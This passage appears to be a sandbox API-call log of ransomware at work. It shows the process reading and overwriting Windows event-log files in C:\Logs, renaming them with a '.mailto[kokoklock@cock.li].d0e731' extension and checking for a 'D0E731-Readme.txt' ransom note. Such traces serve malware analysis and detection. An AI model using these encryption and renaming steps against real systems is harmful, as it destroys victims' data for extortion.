RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.203] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.203] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa9efe90, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa9efe90*=0x4096, lpOverlapped=0x0) returned 1 [0167.203] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.203] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.203] WriteFile (in: hFile=0x528, lpBuffer=0x2f96520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa9efec8, lpOverlapped=0x0 | out: lpBuffer=0x2f96520*, lpNumberOfBytesWritten=0xa9efec8*=0x20, lpOverlapped=0x0) returned 1 [0167.204] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96520) returned 1 [0167.204] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.204] WriteFile (in: hFile=0x528, lpBuffer=0x2f966d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa9efedc, lpOverlapped=0x0 | out: lpBuffer=0x2f966d8*, lpNumberOfBytesWritten=0xa9efedc*=0x8, lpOverlapped=0x0) returned 1 [0167.204] WriteFile (in: hFile=0x528, lpBuffer=0xa9efef4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa9efedc, lpOverlapped=0x0 | out: lpBuffer=0xa9efef4*, lpNumberOfBytesWritten=0xa9efedc*=0x4, lpOverlapped=0x0) returned 1 [0167.204] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa9efedc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa9efedc*=0x4, lpOverlapped=0x0) returned 1 [0167.204] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa9efedc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa9efedc*=0x6c, lpOverlapped=0x0) returned 1 [0167.204] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa9efedc, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xa9efedc*=0x20, lpOverlapped=0x0) returned 1 [0167.204] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa9efedc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa9efedc*=0x4, lpOverlapped=0x0) returned 1 [0167.204] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.205] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.205] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.205] CloseHandle (hObject=0x528) returned 1 [0167.205] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc40d0 [0167.205] wcscpy (in: _Dest=0x2fc40d0, _Source="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0167.205] wcscat (in: _Dest=0x2fc40d0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.205] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.206] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.206] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc40d0) returned 1 [0167.206] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.206] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3848 [0167.206] wcscpy (in: _Dest=0x2fe3848, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.206] wcscat (in: _Dest=0x2fe3848, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.206] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.206] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3848) returned 1 [0167.206] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e970) returned 1 [0167.206] RtlExitUserThread (Status=0x1) Thread: id = 1653 os_tid = 0xad4 [0167.207] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.213] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.213] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.213] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xaa6fe4c | out: lpFileSize=0xaa6fe4c*=69824) returned 1 [0167.213] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.213] ReadFile (in: hFile=0x528, lpBuffer=0xaa6fe20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xaa6fe1c, lpOverlapped=0x0 | out: lpBuffer=0xaa6fe20*, lpNumberOfBytesRead=0xaa6fe1c*=0x4, lpOverlapped=0x0) returned 1 [0167.214] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.214] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.214] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.214] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96458 [0167.214] NtQuerySystemTime (in: CurrentTime=0xaa6fdf8 | out: CurrentTime=0xaa6fdf8*=132121213245323755) returned 0x0 [0167.214] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x4f78ca59 [0167.214] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0xc001b24e [0167.214] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x114c5c07 [0167.214] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0xc4c772ab [0167.214] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0xde80f372 [0167.214] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x6e5c8f0e [0167.214] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x27970f51 [0167.214] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0xa756590 [0167.214] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0xe34dff26 [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x30cc83a4 [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x40000408 [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x54e06d96 [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x5de1eff2 [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x1a953c43 [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x69d10935 [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0xe606ba54 [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0xad240d18 [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x3d671e60 [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x20e2dd4f [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0xea0ff06f [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x113d6f4 [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0xda6c33b2 [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x2fa97c2b [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x4e91d764 [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0xec2d44c [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x4acde35a [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0xf2765e24 [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x5b21a94c [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x5ac05395 [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0x74cebe4a [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0xe3cdf70b [0167.215] RtlRandom (in: Seed=0xaa6fe04 | out: Seed=0xaa6fe04) returned 0xe8b8a3be [0167.224] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.226] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.226] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.226] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.226] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.226] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.226] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.226] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xaa6fdd0, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xaa6fdd0*=0x4096, lpOverlapped=0x0) returned 1 [0167.228] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0167.228] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0167.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96520 [0167.228] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96480 [0167.228] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96480) returned 1 [0167.228] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.229] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.229] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xaa6fdd0, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xaa6fdd0*=0x4096, lpOverlapped=0x0) returned 1 [0167.229] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.229] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.229] WriteFile (in: hFile=0x528, lpBuffer=0x2f96520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaa6fe08, lpOverlapped=0x0 | out: lpBuffer=0x2f96520*, lpNumberOfBytesWritten=0xaa6fe08*=0x20, lpOverlapped=0x0) returned 1 [0167.229] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96520) returned 1 [0167.229] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.229] WriteFile (in: hFile=0x528, lpBuffer=0x2f966d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xaa6fe1c, lpOverlapped=0x0 | out: lpBuffer=0x2f966d8*, lpNumberOfBytesWritten=0xaa6fe1c*=0x8, lpOverlapped=0x0) returned 1 [0167.230] WriteFile (in: hFile=0x528, lpBuffer=0xaa6fe34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaa6fe1c, lpOverlapped=0x0 | out: lpBuffer=0xaa6fe34*, lpNumberOfBytesWritten=0xaa6fe1c*=0x4, lpOverlapped=0x0) returned 1 [0167.230] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaa6fe1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xaa6fe1c*=0x4, lpOverlapped=0x0) returned 1 [0167.230] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xaa6fe1c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xaa6fe1c*=0x6c, lpOverlapped=0x0) returned 1 [0167.230] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xaa6fe1c, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xaa6fe1c*=0x20, lpOverlapped=0x0) returned 1 [0167.230] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xaa6fe1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xaa6fe1c*=0x4, lpOverlapped=0x0) returned 1 [0167.230] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.230] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.230] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.230] CloseHandle (hObject=0x528) returned 1 [0167.230] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd6) returned 0x2f97058 [0167.230] wcscpy (in: _Dest=0x2f97058, _Source="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" [0167.230] wcscat (in: _Dest=0x2f97058, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.230] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.231] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.231] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97058) returned 1 [0167.231] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.232] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3b88 [0167.232] wcscpy (in: _Dest=0x2fe3b88, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.232] wcscat (in: _Dest=0x2fe3b88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.232] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.232] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3b88) returned 1 [0167.232] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c020) returned 1 [0167.232] RtlExitUserThread (Status=0x1) Thread: id = 1654 os_tid = 0xad8 [0167.236] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.237] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.237] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.237] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xaaefd68 | out: lpFileSize=0xaaefd68*=69824) returned 1 [0167.237] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.237] ReadFile (in: hFile=0x528, lpBuffer=0xaaefd3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xaaefd38, lpOverlapped=0x0 | out: lpBuffer=0xaaefd3c*, lpNumberOfBytesRead=0xaaefd38*=0x4, lpOverlapped=0x0) returned 1 [0167.238] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.238] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.238] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.238] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96480 [0167.238] NtQuerySystemTime (in: CurrentTime=0xaaefd14 | out: CurrentTime=0xaaefd14*=132121213245479705) returned 0x0 [0167.238] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x672f3a53 [0167.238] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x41e580e7 [0167.238] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0xef341d [0167.238] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x94edf696 [0167.238] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0xdc0f2d48 [0167.238] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0xdcfb633 [0167.238] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0xe4e12f9b [0167.238] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0xda622a0e [0167.238] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0xb696ac86 [0167.238] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0xe05e72e [0167.238] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x979f47a2 [0167.238] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x5e502a8e [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x7324ee9d [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x9645baa2 [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0xb398919a [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x545cf61f [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0xbf03472a [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x1bc29509 [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x63382312 [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0xf1293d7 [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0xc0edf051 [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x4f603edc [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x3559593e [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0xff199a90 [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x638f706f [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x9b3a3896 [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x8f554670 [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x3ffd2182 [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x88df077f [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x105b3cae [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x4c404036 [0167.239] RtlRandom (in: Seed=0xaaefd20 | out: Seed=0xaaefd20) returned 0x36441f58 [0167.269] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.271] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.271] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.271] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.271] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.271] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.271] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.271] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xaaefcec, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xaaefcec*=0x4096, lpOverlapped=0x0) returned 1 [0167.272] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.272] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.272] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.272] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0167.272] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0167.272] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.272] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96520 [0167.272] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964d0 [0167.272] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964d0) returned 1 [0167.273] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.273] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.273] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xaaefcec, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xaaefcec*=0x4096, lpOverlapped=0x0) returned 1 [0167.279] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.279] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 